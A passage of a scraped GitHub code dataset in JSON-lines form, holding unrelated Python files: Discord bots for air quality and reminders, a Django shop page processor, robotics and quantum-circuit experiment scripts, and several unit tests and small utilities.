in model.parameters():\n param.requires_grad = False\n\n\ndef turn_on_grad(model):\n for param in model.parameters():\n param.requires_grad = True\n\n\ndef load_model(\n model_name=None,\n model_class=AutoModelForSequenceClassification,\n use_cuda=True\n):\n if model_name is None:\n raise ValueError('model_name should be provided')\n model = model_class.from_pretrained(model_name)\n if torch.cuda.is_available() and use_cuda:\n model.cuda()\n tokenizer = AutoTokenizer.from_pretrained(model_name)\n\n return model, tokenizer\n\n\ndef set_seed(seed: int):\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n\n np.random.seed(seed)\n random.seed(seed)\n\n\ndef static_vars(**kwargs):\n def decorate(func):\n for k in kwargs:\n setattr(func, k, kwargs[k])\n return func\n return decorate\n","repo_name":"intsystems/Pilkevich-BS-Thesis","sub_path":"nlp_adapter/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"71658896267","text":"from django import forms\nfrom django.http import HttpResponseRedirect\nfrom django.template.defaultfilters import slugify\nfrom mezzanine.pages.page_processors import processor_for\nfrom mezzanine.conf import settings\nfrom mezzanine.pages.page_processors import processor_for\nfrom mezzanine.utils.views import paginate\nfrom cartridge.shop.models import Category, Product, DiscountCode# from .models import Author\n\nfrom el_pagination.decorators import page_template\n\n\n# class AuthorForm(forms.Form):\n# name = forms.CharField()\n# email = forms.EmailField()\n#\n# @processor_for(Author)\n# def author_form(request, page):\n# form = AuthorForm()\n# if request.method == \"POST\":\n# form = AuthorForm(request.POST)\n# if form.is_valid():\n# # Form processing goes here.\n# redirect = request.path + \"?submitted=true\"\n# return HttpResponseRedirect(redirect)\n# return {\"form\": form}\n\n\n# @page_template('pages/category_page.html')\n@processor_for(Category, exact_page=True)\ndef category_processor(request, page, extra_context=None):\n \"\"\"\n Add paging/sorting to the products for the category.\n \"\"\"\n settings.use_editable()\n products = Product.objects.published(for_user=request.user\n ).filter(page.category.filters()).distinct()\n featured_products = Product.objects.published(for_user=request.user\n ).filter(shoppage=True\n ).distinct().order_by('-publish_date')[:4]\n sort_options = [(slugify(option[0]), option[1])\n for option in settings.SHOP_PRODUCT_SORT_OPTIONS]\n sort_by = request.GET.get(\"sort\", sort_options[0][1])\n products = paginate(products.order_by(sort_by),\n request.GET.get(\"page\", 1),\n settings.SHOP_PER_PAGE_CATEGORY,\n settings.MAX_PAGING_LINKS)\n products.sort_by = sort_by\n sub_categories = page.category.children.published()\n child_categories = Category.objects.filter(id__in=sub_categories)\n classes_category = Category.objects.get(slug=\"shop/classes\")\n # find prices to display for each product\n products_discounts = []\n for p in products.object_list:\n # create list of tuples, then iterate through them in template\n try:\n discount = DiscountCode.objects.filter(title=\"{}+{}\".format(p.sku,request.user.membership.level))[0]\n discount_deduction = discount.discount_deduct\n except:\n discount_deduction = 0\n products_discounts.append((p,discount_deduction))\n # try:\n # discount = DiscountCode.objects.filter(title=request.user.membership.level)[0]\n # discount_percent = (100 - discount.discount_percent)/ 100\n # except:\n # discount_percent = 1\n context = {\"products\": products,\n \"featured_products\":featured_products,\n \"child_categories\": child_categories,\n \"classes_category\":classes_category,\n \"products_discounts\": products_discounts,\n 'page_template': 'pages/category_page.html',\n }\n # print(sort_options)\n # if extra_context is not None:\n #\n # if request.is_ajax():\n # template = page_template\n # context.update({\"template\":template})\n return context\n","repo_name":"Toruitas/fortune-telling-ecom","sub_path":"src/patches/page_processors.py","file_name":"page_processors.py","file_ext":"py","file_size_in_byte":3387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"86742478670","text":"import discord\nfrom discord import Embed\nfrom discord.ext import commands\nfrom discord.ext.commands import cooldown, BucketType, Cog\nimport json\nimport time\n\nfrom datetime import date\nimport requests\n\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv(\"keys.env\")\nweather_key = os.getenv(\"OPENWEATHER\")\nair_api = os.getenv(\"AIRVISUAL\")\n\nclass airquality(Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command(\n name=\"air\",\n brief=\"hey what's the air quality?\\n don't specify country or state, you can try using country code or state abbreviation\\nbut that may or may not work\",\n )\n @cooldown(5, 60, BucketType.user)\n async def check_air(self, ctx, *, input):\n with open(\"data/weatherLocations.json\", \"r\") as f:\n existingLocations = json.load(f)\n \n foundLocally = False\n if input.lower() in existingLocations:\n # + seconds in 2 months, to make sure the coordinates are at least somewhat up to date\n if existingLocations[input.lower()][4] + 5184000 > time.time():\n data = existingLocations[input.lower()] \n lat = data[0]\n lon = data[1]\n locationName = data[2]\n locationCountry = data[3]\n foundLocally = True\n \n if not foundLocally:\n try:\n r = requests.get(f\"https://api.openweathermap.org/geo/1.0/direct?q={input}&limit=1&appid={weather_key}\")\n except:\n await ctx.send(\"whoops, timed out or somthn\")\n return\n request = json.loads(r.content)\n \n if r.status_code != 200:\n await ctx.send(f\"error {request['cod']} occured: {request['message']}\")\n return\n \n await ctx.send(\"downloading coordinates to cache...\")\n \n realoutput = request[0]\n lat = realoutput[\"lat\"]\n lon = realoutput[\"lon\"]\n locationName = realoutput[\"name\"]\n locationCountry = realoutput[\"country\"]\n \n existingLocations[input.lower()] = [lat, lon, locationName, locationCountry, time.time()]\n \n with open(\"data/weatherLocations.json\", \"w\") as f:\n json.dump(existingLocations, f)\n\n lat = round(lat, 2)\n lon = round(lon, 2)\n \n url = f\"https://api.airvisual.com/v2/nearest_city?lat={lat}&lon={lon}&key={air_api}\"\n \n try:\n r = requests.get(url)\n except:\n await ctx.send(\"whoops, timed out or somthn\")\n return\n data = json.loads(r.content)\n \n embed = Embed(\n title=f\"the air quality in {locationName}, {locationCountry} - {date.today().strftime('%b %d')}\",\n description=f\"lat: {round(data['data']['location']['coordinates'][1], 4)}, lon: {round(data['data']['location']['coordinates'][0], 4)}\"\n )\n \n aqius = data['data']['current']['pollution']['aqius']\n quality = \"\"\n \n colours = [\n 0x00e400,\n 0xffff00,\n 0xff7e00,\n 0xFF0000,\n 0x8f3f97,\n 0x7e0023,\n ]\n \n if aqius <= 50:\n embed.colour = colours[0]\n quality = \" (Good)\"\n elif aqius <= 100:\n embed.colour = colours[1]\n quality = \" (Moderate)\"\n elif aqius <= 150:\n embed.colour = colours[2]\n quality = \" (Unhealthy for Sensitive Groups)\"\n elif aqius <= 200:\n embed.colour = colours[3]\n quality = \" (Unhealthy)\"\n elif aqius <= 300:\n embed.colour = colours[4]\n quality = \" (Very Unhealthy)\"\n else:\n embed.colour = colours[5]\n quality = \" (Hazardous)\"\n \n\n embed.add_field(name=\"quality today\", value=f\"{aqius} aqius{quality}\")\n \n await ctx.send(embed=embed)\n\n\nasync def setup(bot):\n await bot.add_cog(airquality(bot))\n","repo_name":"JustTemmie/space-bot","sub_path":"cogs/minis/airQuality.py","file_name":"airQuality.py","file_ext":"py","file_size_in_byte":4061,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"73890094348","text":"import customtkinter as ctk\nimport sqlite3\n\nfrom colorama import Fore\nfrom gui.LoginPage import LoginPage\nfrom gui.RegisterPage import RegisterPage\n\nclass App:\n\tdef __init__(self) -> None:\n\t\tself.root = self.init_window()\n\n\t\t(self.db_conn, self.cursor) = self.init_database(\"userdata.db\")\n\n\t\tself.register_page = RegisterPage(self)\n\t\t# self.register_page.frame.pack_forget()\n\n\t\tself.login_page = LoginPage(self)\n\t\t# self.login_page.frame.tkraise(aboveThis=self.register_page.frame)\n\n\t\tself.root.mainloop()\n\n\n\tdef init_window(self) -> ctk.CTk:\n\t\tctk.set_appearance_mode(\"dark\")\n\t\tctk.set_default_color_theme(\"dark-blue\")\n\n\t\troot = ctk.CTk()\n\n\t\troot.geometry(\"500x450\")\n\t\troot.minsize(300, 375)\n\t\troot.maxsize(500, 450)\n\n\t\troot.title(\"Secure Messaging App\")\n\n\t\treturn root\n\n\tdef init_database(self, db_filename: str) -> tuple[sqlite3.Connection, sqlite3.Cursor]:\n\t\ttry:\n\t\t\tdb_conn = sqlite3.connect(db_filename)\n\t\t\tcursor = db_conn.cursor()\n\t\t\tcursor.execute(\"\"\"\n\t\t\t\tCREATE TABLE IF NOT EXISTS userdata (\n\t\t\t\t\tid INTEGER PRIMARY KEY,\n\t\t\t\t\tusername VARCHAR(255) NOT NULL,\n\t\t\t\t\tpassword VARCHAR(255) NOT NULL\n\t\t\t\t)\n\t\t\t\"\"\")\n\n\t\t\tprint(\"####################\")\n\t\t\tprint(\"Database initialized\")\n\t\t\tprint(\"####################\")\n\t\t\tprint()\n\n\t\t\treturn (db_conn, cursor)\n\t\texcept:\n\t\t\tprint(Fore.RED + \"Failed to connect to database\" + Fore.RESET)\n\t\t\texit(1)\n","repo_name":"m3tra/GUI_Messenger_Python","sub_path":"App.py","file_name":"App.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37124732626","text":"# must be first, as it does event loop patching and other \"first\" things\nfrom tests.base.testcase import TestCase, mock\n\nfrom common.enums.entity import Entity\nfrom common.enums.reporttype import ReportType\nfrom common.id_tools import generate_id, parse_id_parts\nfrom common.tztools import now\nfrom oozer.common import cold_storage\nfrom oozer.common import expecations_store\nfrom oozer.common.job_scope import JobScope\nfrom oozer.common.enum import JobStatus\nfrom oozer import sync_expectations_task\nfrom tests.base import random\n\n\nclass TestSyncExcpectationsTask(TestCase):\n \"\"\"\n Tests that looper code will recognize the types of reports we expect it to\n recognize from the job ID\n \"\"\"\n\n def test_task_complains_about_bad_report_type(self):\n\n sync_expectations_job_scope = JobScope(\n sweep_id=random.gen_string_id(),\n ad_account_id=random.gen_string_id(),\n report_type=ReportType.lifetime, # <----------- this is wrong\n )\n\n with self.assertRaises(AssertionError) as ex_catcher:\n sync_expectations_task.sync_expectations(sync_expectations_job_scope)\n\n assert 'Only sync_expectations report' in str(ex_catcher.exception)\n\n def test_task_does_not_blow_up(self):\n # this is almost same thing as the next test\n # where we check that call signature is right,\n # but when call signature changes and our tests don't,\n # it becomes irrelevant if we have tests - they check for wrong thing\n # So, here we actually call \"store\" and in next test\n # we intercept the call and check payload.\n # Don't remove me. Not duplicate.\n\n expectation_job_id = generate_id(\n ad_account_id=random.gen_string_id(),\n report_type=ReportType.day_hour,\n report_variant=Entity.Ad,\n range_start='2000-01-01',\n )\n rr = [expectation_job_id]\n\n sync_expectations_job_scope = JobScope(\n sweep_id=random.gen_string_id(),\n ad_account_id=random.gen_string_id(),\n report_type=ReportType.sync_expectations,\n )\n\n with mock.patch.object(expecations_store, 'iter_expectations_per_ad_account', return_value=rr):\n sync_expectations_task.sync_expectations(sync_expectations_job_scope)\n\n def test_task_is_called_with_right_data(self):\n\n range_start = now()\n range_start_should_be = range_start.strftime('%Y-%m-%d')\n\n expected_job_id = generate_id(\n ad_account_id=random.gen_string_id(),\n report_type=ReportType.day_hour,\n report_variant=Entity.Ad,\n range_start=range_start,\n )\n rr = [expected_job_id]\n expected_job_id_parts = parse_id_parts(expected_job_id)\n\n sync_expectations_job_scope = JobScope(\n sweep_id=random.gen_string_id(),\n ad_account_id=random.gen_string_id(),\n report_type=ReportType.sync_expectations,\n )\n\n with mock.patch.object(\n expecations_store, 'iter_expectations_per_ad_account', return_value=rr\n ) as jid_iter, mock.patch.object(cold_storage.ChunkDumpStore, 'store') as store:\n\n sync_expectations_task.sync_expectations(sync_expectations_job_scope)\n\n assert jid_iter.called\n aa, kk = jid_iter.call_args\n assert not kk\n assert aa == (sync_expectations_job_scope.ad_account_id, sync_expectations_job_scope.sweep_id)\n\n assert store.called\n aa, kk = store.call_args\n assert not kk\n assert len(aa) == 1\n\n data = aa[0]\n\n assert data == {\n 'job_id': expected_job_id,\n # missing \"ad_\" is intentional.\n # this matches this attr name as sent by FB\n # and ysed by us elsewhere in the company\n 'account_id': expected_job_id_parts.ad_account_id,\n 'entity_type': expected_job_id_parts.entity_type,\n 'entity_id': expected_job_id_parts.entity_id,\n 'report_type': expected_job_id_parts.report_type,\n 'report_variant': expected_job_id_parts.report_variant,\n 'range_start': range_start_should_be, # checking manually to ensure it's properly stringified\n 'range_end': None,\n 'platform_namespace': JobScope.namespace, # default platform value\n }\n\n def test_task_error_is_logged_into_job_report(self):\n from oozer.common.report_job_status_task import report_job_status_task\n\n class MyException(Exception):\n pass\n\n sync_expectations_job_scope = JobScope(\n sweep_id=random.gen_string_id(),\n ad_account_id=random.gen_string_id(),\n report_type=ReportType.sync_expectations,\n )\n\n with mock.patch.object(report_job_status_task, 'delay') as job_report, mock.patch.object(\n sync_expectations_task, 'sync_expectations', side_effect=MyException('nope!')\n ):\n\n with self.assertRaises(MyException):\n sync_expectations_task.sync_expectations_task.delay(sync_expectations_job_scope, None)\n\n assert job_report.called\n\n aa, kk = job_report.call_args\n\n assert not kk\n code, job_scope_actual = aa\n assert code < 0 # some sort of *Failure* code\n assert job_scope_actual == sync_expectations_job_scope\n\n def test_task_success_is_logged_into_job_report(self):\n from oozer.common.report_job_status_task import report_job_status_task\n\n sync_expectations_job_scope = JobScope(\n sweep_id=random.gen_string_id(),\n ad_account_id=random.gen_string_id(),\n report_type=ReportType.sync_expectations,\n )\n\n with mock.patch.object(report_job_status_task, 'delay') as job_report:\n\n sync_expectations_task.sync_expectations_task.delay(sync_expectations_job_scope, None)\n\n assert job_report.called\n\n aa, kk = job_report.call_args\n\n assert not kk\n code, job_scope_actual = aa\n assert code == JobStatus.Done\n assert job_scope_actual == sync_expectations_job_scope\n","repo_name":"panoramichq/data-collection-fb","sub_path":"tests/oozer/test_sync_expectations_task.py","file_name":"test_sync_expectations_task.py","file_ext":"py","file_size_in_byte":6116,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"23150750216","text":"import sys\n\nn, m = map(int, sys.stdin.readline().split())\na = [i**2 for i in range(2, int(m**0.5)+1)]\nnum = [1] * (m-n+1)\n\nfor i in a:\n number = n//i*i\n while(number <= m):\n if number - n >= 0:\n num[number-n] = 0\n number += i\nprint(sum(num))\n","repo_name":"dawit0905/AlgorithmStudy","sub_path":"python/baekjoon_1016.py","file_name":"baekjoon_1016.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2507509988","text":"\"\"\"\r\nlaylib-pygame usage example: no resources example with a particle system.\r\nUse the mouse to control particles.\r\n\r\nAuthor: Amardjia Amine\r\nDate: 24/10/2018\r\nGithub: -\r\n\"\"\"\r\nfrom laylib import Environment\r\nfrom engine import Engine\r\nimport sys\r\n\r\n\r\ndef main():\r\n demo = Environment(1024, 720, False, 'No resources demo')\r\n # with no resources, just call your main engine.\r\n demo.load_complete(Engine())\r\n # particles simulation\r\n demo.gInstance.main_loop()\r\n demo.destroy()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n sys.exit(main())\r\n","repo_name":"Layto888/laylib","sub_path":"examples/demo2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42402787004","text":"import discord\nfrom discord.ext import commands, pages, tasks\nfrom . import db\nfrom . import views_stuff\nimport datetime, time\n\n\nclass ReminderCog(commands.Cog):\n def __init__(self, bot):\n self.bot: discord.Bot = bot\n\n def cog_unload(self) -> None:\n self.check_and_remind.stop()\n return super().cog_unload()\n\n @commands.Cog.listener()\n async def on_ready(self):\n self.check_and_remind.start()\n\n @commands.slash_command(name=\"create_category\", description=\"This will create a new category.\")\n @commands.has_permissions(administrator=True)\n async def create_category(self, ctx: discord.ApplicationContext, name: discord.Option(str, max_length=50)):\n if len(db.get_categorys(ctx.guild_id)) >=25:\n await ctx.respond(embed=discord.Embed(title=\"Maximum amount of categorys exist!\", color=self.bot.error_color), ephemeral=True)\n return\n \n db.create_category(ctx.user.id, ctx.guild_id, name)\n await ctx.respond(embed=discord.Embed(title=\"Successfully created!\", color=self.bot.success_color), ephemeral=True)\n\n @commands.slash_command(name=\"categorys\", description=\"Shows all available categories and lets you choose them.\")\n async def select_category(self, ctx: discord.ApplicationContext): # TODO: lock category\n categorys = db.get_categorys(ctx.guild_id)\n owned_categorys = db.get_owned_category(ctx.user.id)\n if len(categorys) <= 0:\n await ctx.respond(embed=discord.Embed(title=\"No Category exists!\", color=self.bot.error_color), ephemeral=True)\n return\n\n await ctx.respond(view=discord.ui.View(views_stuff.SelectCategorySelect(self.bot, categorys, owned_categorys)), ephemeral=True)\n\n @commands.slash_command(name=\"delete_category\", description=\"Deletes a category and all related reminders.\")\n @commands.has_permissions(administrator=True)\n async def delete_category(self, ctx: discord.ApplicationContext, category_id: int):\n if not db.category_exists(category_id):\n await ctx.respond(embed=discord.Embed(title=\"Category does not exist!\", color=self.bot.error_color), ephemeral=True)\n return\n \n db.delete_category(category_id)\n await ctx.respond(embed=discord.Embed(title=\"Successfully deleted!\", color=self.bot.success_color), ephemeral=True)\n \n @commands.slash_command(name=\"create\", description=\"Creates a new reminder.\")\n async def create(self, ctx: discord.ApplicationContext,\n year: discord.Option(int, min_value=2000), # need to be above x to not crash the timestamp\n month: discord.Option(int, min_value=1, max_value=12),\n day: discord.Option(int, min_value=1, max_value=31),\n hour: discord.Option(int, min_value=0, max_value=24),\n message: discord.Option(str, max_length=3000)\n ):\n # check if any category exist\n if len(db.get_categorys(ctx.guild_id)) <= 0:\n await ctx.respond(embed=discord.Embed(title=\"Categorys do not exist!\", color=self.bot.error_color), ephemeral=True)\n return\n\n point_in_time = datetime.datetime(year, month, day, hour)\n await ctx.respond(\"Choose a Category for the Reminder.\", view=discord.ui.View(views_stuff.SelectCategoryForReminderSelect(self.bot, ctx.guild_id, point_in_time, message)), ephemeral=True)\n \n @commands.slash_command(name=\"reminders\", description=\"Lists all available reminders.\")\n async def reminders(self, ctx: discord.ApplicationContext):\n # get the reminders\n reminders = []\n categorys = db.get_categorys(ctx.guild_id)\n for category in categorys:\n reminders += db.get_reminders(category[0])\n \n # check if there is a reminder\n if len(reminders) <= 0:\n await ctx.respond(embed=discord.Embed(title=\"No reminder exist!\", color=self.bot.error_color), ephemeral=True)\n return\n\n # sort reminders by timestamp\n reminders.sort(key=lambda x: x[2])\n\n # create embeds\n categorys = {x[0]: x[1:4] for x in categorys}\n embeds = []\n for reminder in reminders:\n embed = discord.Embed(title=\"Reminder\", description=reminder[3])\n embed.add_field(name=\"Creator\", value=f\"<@{reminder[1]}>\")\n embed.add_field(name=\"Time\", value=f\"\")\n embed.add_field(name=\"Category\", value=f\"[{reminder[4]}] {categorys[reminder[4]][2]}\")\n embed.add_field(name=\"ID\", value=f\"{reminder[0]}\")\n embeds.append(embed)\n\n # ctx respond\n paginator = pages.Paginator(pages=embeds)\n await paginator.respond(ctx.interaction, ephemeral=True)\n\n @commands.slash_command(name=\"delete\", description=\"Deletes a reminder.\")\n async def delete(self, ctx: discord.ApplicationContext, reminder_id: int):\n # check if reminder exists\n if not db.reminder_exist(reminder_id):\n await ctx.respond(embed=discord.Embed(title=\"No reminder exist!\", color=self.bot.error_color), ephemeral=True)\n return\n\n # check if user is owner of the reminder or has admin perms\n if ctx.user.id != db.get_reminder(reminder_id)[3] and not ctx.user.guild_permissions.administrator:\n await ctx.respond(embed=discord.Embed(title=\"No Permission!\", color=self.bot.error_color), ephemeral=True)\n return\n\n # delete reminder\n db.delete_reminder(reminder_id)\n await ctx.respond(embed=discord.Embed(title=\"Successfully deleted!\", color=self.bot.success_color), ephemeral=True)\n\n @commands.slash_command(name=\"edit\", description=\"Edit a Reminder\")\n async def edit_command(self, ctx: discord.ApplicationContext, reminder_id: discord.Option(int)):\n # check if reminder exists\n if not db.reminder_exist(reminder_id):\n await ctx.respond(embed=discord.Embed(title=\"Reminder does not exist!\", color=self.bot.error_color), ephemeral=True)\n return\n\n # check if user is owner of the reminder or has admin perms\n if ctx.user.id != db.get_reminder(reminder_id)[3] and not ctx.user.guild_permissions.administrator:\n await ctx.respond(embed=discord.Embed(title=\"No Permission!\", color=self.bot.error_color), ephemeral=True)\n return\n \n await ctx.response.send_modal(modal=views_stuff.EditModal(reminder_id))\n\n @tasks.loop(seconds=10)\n async def check_and_remind(self):\n now = time.time()\n\n # get reminders\n reminders = db.get_reminders_for_reminding(now)\n\n for reminder in reminders:\n users = db.get_users(reminder[3])\n embed = discord.Embed(title=\"Reminder\", description=reminder[4])\n embed.add_field(name=\"Author\", value=f\"<@{reminder[1]}>\")\n for user in users:\n user_object = self.bot.get_user(user[1])\n if user_object:\n channel = await user_object.create_dm()\n try:\n await channel.send(embed=embed)\n except discord.Forbidden:\n print(\"forbidden\") # TODO: delete user from table\n\n # delete reminder\n db.delete_reminder(reminder[0])\n\n\n\n\ndef setup(bot):\n bot.add_cog(ReminderCog(bot))\n\n\n\n","repo_name":"JL710/Discord-Reminder-Bot","sub_path":"reminder_cog/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3521034650","text":"import re\nimport threading\nimport time\nimport pandas as pd\nfrom pyzx.scripts import cnot2cnot\n\n\n# 处理文件中的线路\ndef processor(architecture, gates, mode='steiner'):\n # 生成文件全名\n selected_file = architecture + \"_\" + gates\n\n # 分割输入架构\n list_str = architecture.split(\"_\")\n # 遍历str获取架构名分解后含数字的项\n for i in list_str:\n if not i.isalpha():\n target = i\n # 从数字项中获取量子位数\n q = re.sub(\"\\D\", \"\", target) # 在字符串中找到非数字的字符(正则表达式中 '\\D' 表示非数字),并用 “” 替换,然后返回的就是只剩下数字的字符串\n\n # 获取架构类型\n for i in list_str:\n if i == \"square\":\n architecture_type = \"square\"\n if i == \"aspen\":\n architecture_type = \"rigetti_16q_aspen\"\n if i == \"qx5\":\n architecture_type = \"ibm_qx5\"\n if i == \"melbourne\":\n architecture_type = \"ibmq_16_melbourne\"\n if i == \"tokyo\":\n architecture_type = \"ibm_q20_tokyo\"\n if i == \"qx2\":\n architecture_type = \"ibm_qx2\"\n\n # set population 和 iterations\n if q == '9' or '2':\n population = \"30\"\n iterations = \"15\"\n if q == '16' or q == '5':\n population = \"50\"\n iterations = \"100\"\n if q == '20':\n population = \"100\"\n iterations = \"100\"\n\n # 获取文件中的量子门数\n gates_dir = gates\n\n for i in range(0, 20):\n # 获取当前需处理的文件名\n \n if architecture == \"9q_square\" or \"16q_square\":\n file_name = f\"../../circuits/steiner/{q}qubits/{gates_dir}/Original{i}.qasm\"\n if architecture == \"rigetti_16q_aspen\":\n file_name = f\"../../circuits/steiner/16qubits/{gates_dir}/Original{i}.qasm\"\n if architecture == \"ibm_qx5\":\n file_name = f\"../../circuits/steiner/16qubits/{gates_dir}/Original{i}.qasm\"\n if architecture == \"ibm_q20_tokyo\":\n file_name = f\"../../circuits/steiner/20qubits/{gates_dir}/Original{i}.qasm\"\n if architecture == \"ibm_qx2\":\n file_name = f\"../../circuits/steiner/5qubits/{gates_dir}/Original{i}.qasm\"\n\n print(\"-\" * 50 + f\"开始处理{selected_file}的第{i}号个文件\" + \"-\" * 50)\n start_time = time.time() # 开始计时\n\n # 开始映射\n cnot2cnot.main([\"QASM_source\", file_name,\n \"--mode\", mode,\n \"--architecture\", architecture_type,\n \"--destination\", \"resultdata\",\n \"--qubits\", q,\n \"--population\", population,\n \"--iterations\", iterations])\n\n end_time = time.time() # 结束计时\n print(\"运行耗时: {:.6f} 秒\".format(end_time - start_time))\n\n\n s = end_time - start_time\n s = str(s)\n\n print(\"#\" * 60 + \"结束\" + \"#\" * 60)\n print() # 间隔\n\n\n\nif __name__ == '__main__':\n\n # save computing data\n open(\"tokyo_parallel_result_conts.csv\", 'w', encoding='utf-8').close()\n open(\"parallel_run_times.csv\", 'w', encoding='utf-8').close()\n open(\"total_parallel_run_times.csv\", 'w', encoding='utf-8').close()\n\n for gate in [4, 8, 16, 32, 64, 128, 256]:\n gates = str(gate)\n processor(\"ibm_q20_tokyo\", gates, \"genetic_steiner\")\n print(\"*\" * 120)\n\n\n for gate in [15, 20, 40, 80, 100]:\n gates = str(gate)\n processor(\"ibm_qx2\", gates, \"genetic_steiner\")\n print(\"*\" * 120)\n\n \"\"\" ******************************************************************************************** \"\"\"\n # save serial computing data\n # open(\"serial_result_conts.csv\", 'w', encoding='utf-8').close()\n # open(\"serial_run_times.csv\", 'w', encoding='utf-8').close()\n # series test\n # for gate in [4, 8, 16, 32, 64, 128, 256]:\n # gates = str(gate)\n # processor(\"ibm_q20_tokyo\", gates, \"genetic_steiner\")\n # print(\"*\" * 120)\n\n \"\"\" ******************************************************************************************** \"\"\"\n # second test\n # take the average value of multiple operations, cycle 40 times\n # for i in range(0, 40):\n # print(\"+\" * 30 + f\"第{i + 1}次循环\" + \"+\" * 30)\n # processor(\"ibm_q20_tokyo\", \"256\", 'genetic_steiner')\n\n \"\"\" ******************************************************************************************** \"\"\"\n # first test\n # file_name = \"/Users/kungfu/Desktop/pyzx-steiner_decomp_annotation/circuits/steiner/16qubits/16/16q-square/steiner/Original0.qasm\"\n # file_name = \"/Users/kungfu/Desktop/Original0.qasm\"\n # mode = \"genetic_steiner\"\n # architecture_type = \"square\"\n # q = \"16\"\n # start_time = time.time()\n # cnot2cnot.main([\"QASM_source\", file_name,\n # \"--mode\", mode,\n # \"--architecture\", architecture_type,\n # \"--destination\", \"resultdata\",\n # \"--qubits\", q])\n # end_time = time.time()\n # print(\"times: {:.4f} sec\".format(end_time - start_time))\n # print(\"#\" * 60 + \"over\" + \"#\" * 60)\n # print()\n","repo_name":"M-qiangZhu/Physical-constraint-aware-CNOT-quantum-circuit-synthesis-and-optimization","sub_path":"pyzx/scripts/myexperiment.py","file_name":"myexperiment.py","file_ext":"py","file_size_in_byte":5183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31199531325","text":"from __future__ import (unicode_literals, division, absolute_import,\n print_function)\nfrom .constants import iswindows\nfrom .utils import windows_cmake_build\n\n\nif iswindows:\n def main(args):\n windows_cmake_build(\n BUILD_tools='OFF', BUILD_examples='OFF', BUILD_tests='OFF', BUILD_doc='OFF',\n binaries='expat.dll', libraries='expat.lib', headers='../lib/expat.h ../lib/expat_external.h'\n )\n","repo_name":"kovidgoyal/build-calibre","sub_path":"scripts/pkgs/expat.py","file_name":"expat.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"82"} +{"seq_id":"43072335985","text":"\"\"\"\nTest the complete implementation of the OCP+MPC in C++.\n\n\"\"\"\n\n\nimport numpy as np\n\n# from numpy.linalg import norm\nimport example_robot_data as robex\n\n# import crocoddyl as croc\nimport sobec\n\nurdf = robex.load(\"talos_legs\")\nurdf.model.name = \"talos\"\nrobot = sobec.OCPRobotWrapper(urdf.model, \"sole_link\", \"half_sitting\")\n\nparams = sobec.OCPWalkParams()\n\nparams.DT = 0.01\nparams.mainJointIds = []\nparams.baumgartGains = np.array([0.0, 100.0])\nparams.stateImportance = np.array(\n [\n 0.0,\n 0.0,\n 0.0,\n 50.0,\n 50.0,\n 0.0,\n 5.0,\n 5.0,\n 1.0,\n 2.0,\n 1.0,\n 1.0,\n 5.0,\n 5.0,\n 1.0,\n 2.0,\n 1.0,\n 1.0,\n 0.0,\n 0.0,\n 0.0,\n 3.0,\n 3.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n ]\n)\nparams.stateTerminalImportance = np.array(\n [\n 3.0,\n 3.0,\n 0.0,\n 0.0,\n 0.0,\n 30.0,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 0.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n 1.0,\n ]\n)\nparams.controlImportance = np.array(\n [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0]\n)\nparams.vcomImportance = np.array([0.0, 0.0, 1.0])\nparams.forceImportance = np.array(\n [\n 1.0,\n 1.0,\n 0.1,\n 10.0,\n 10.0,\n 2.0,\n ]\n)\nparams.vcomRef = np.array(\n [\n 0.05,\n 0.0,\n 0.0,\n ]\n)\nparams.footSize = 0.05\nparams.refStateWeight = 0.1\nparams.refTorqueWeight = 0.0\nparams.comWeight = 0.0\nparams.vcomWeight = 1.0\nparams.copWeight = 2.0\nparams.conePenaltyWeight = 0.0\nparams.coneAxisWeight = 0.0002\nparams.refForceWeight = 10.0\nparams.impactAltitudeWeight = 20000.0\nparams.impactVelocityWeight = 10000.0\nparams.impactRotationWeight = 200.0\nparams.refMainJointsAtImpactWeight = 0.0\nparams.verticalFootVelWeight = 20.0\nparams.flyHighSlope = 42.857142857142854\nparams.flyHighWeight = 200.0\nparams.groundColWeight = 200.0\nparams.footMinimalDistance = 0.2\nparams.feetCollisionWeight = 1000.0\nparams.kktDamping = 0.0\nparams.stateTerminalWeight = 20.0\nparams.solver_th_stop = 0.001\nparams.transitionDuration = 6\n\nmpcparams = sobec.MPCWalkParams()\nmpcparams.Tstart = 20\nmpcparams.Tsingle = 